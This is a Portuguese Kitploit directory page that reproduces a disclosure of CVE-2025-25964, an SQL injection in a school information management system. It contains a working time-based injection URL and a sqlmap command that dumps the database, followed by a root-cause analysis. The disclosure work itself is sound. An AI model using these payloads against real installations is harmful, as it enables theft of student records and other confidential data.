Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-25964 — Uma vulnerabilidade crítica de injeção de SQL (CVE-2025-25964) descoberta no School Information Management System v1.0 | Kitploit
Ferramentas/GitHubGitHub/sudo-sakib/cve-2025-25964
Análise de VulnerabilidadesExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e EducaçãoSegurança de Banco de Dados
GitHubsudo-sakib/cve-2025-25964

CVE-2025-25964

Uma vulnerabilidade crítica de injeção de SQL (CVE-2025-25964) descoberta no School Information Management System v1.0

Ver Repositório
22há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-25964: Injeção SQL no Sistema de Gerenciamento de Informações Escolares v1.0

Introdução

No cenário digital atual, a Injeção SQL (SQLi) continua sendo uma das vulnerabilidades mais comuns e perigosas encontradas em aplicações web. Este artigo discute uma vulnerabilidade crítica de Injeção SQL (CVE-2025-25964) descoberta no Sistema de Gerenciamento de Informações Escolares v1.0, desenvolvido pela Itsourcecode. Essa vulnerabilidade permite que atacantes remotos explorem o sistema, levando a uma potencial divulgação de informações confidenciais.

Visão Geral da Vulnerabilidade

ID do CVE: CVE-2025-25964

Tipo de Vulnerabilidade: Injeção SQL (SQLi)

Produto Afetado: Sistema de Gerenciamento de Informações de Estudantes - v1.0

Componente Afetado: parâmetro studentId em /columbans/admin/modules/student/index.php

Tipo de Ataque: Remoto

Severidade: Alta

Descobridor: Sakib Shaikh

Passos para Reproduzir

Para demonstrar o impacto, siga estas instruções passo a passo:

  1. Configure a aplicação vulnerável: Instale e configure o Sistema de Gerenciamento de Informações Escolares v1.0 em um servidor local.

  2. Faça login: Faça login com as credenciais fornecidas pela Itsourecode.

  3. Acesse o endpoint vulnerável:

http://localhost/columbans/admin/modules/student/index.php?view=view&studentId=20004207

  1. Injete um payload SQL para testar a Injeção SQL:

http://localhost/columbans/admin/modules/student/index.php?view=view&studentId=20004207+AND+(SELECT+2657+FROM+(SELECT(SLEEP(10)))zKnT)

  1. Observe a resposta da aplicação: Se a página levar mais de 10 segundos para carregar, a vulnerabilidade de Injeção SQL é confirmada. Isso prova que o banco de dados do backend está executando a consulta SQL injetada.

  2. Use o SQLMap para exploração automatizada:

root@kitploit:~
python sqlmap.py -u "http://localhost/columbans/admin/modules/student/index.php?view=view&studentId=20004207" \
--cookie="PHPSESSID=your_cookie_here" --risk 3 --level 3 --dbs --technique=T --dump --no-cast

Este comando tenta extrair nomes de bancos de dados, tabelas e informações confidenciais do sistema.

Análise de Causa Raiz

O problema surge devido à sanitização inadequada de entrada no parâmetro studentId do arquivo index.php. Quando um atacante modifica o parâmetro studentId com payloads SQL maliciosos, a aplicação processa a entrada sem validação adequada, levando à injeção de SQL.

Referências

https://itsourcecode.com/free-projects/php-project/st-columban-student-information-management-system/

https://owasp.org/www-community/attacks/SQL_Injection

Baixar ferramenta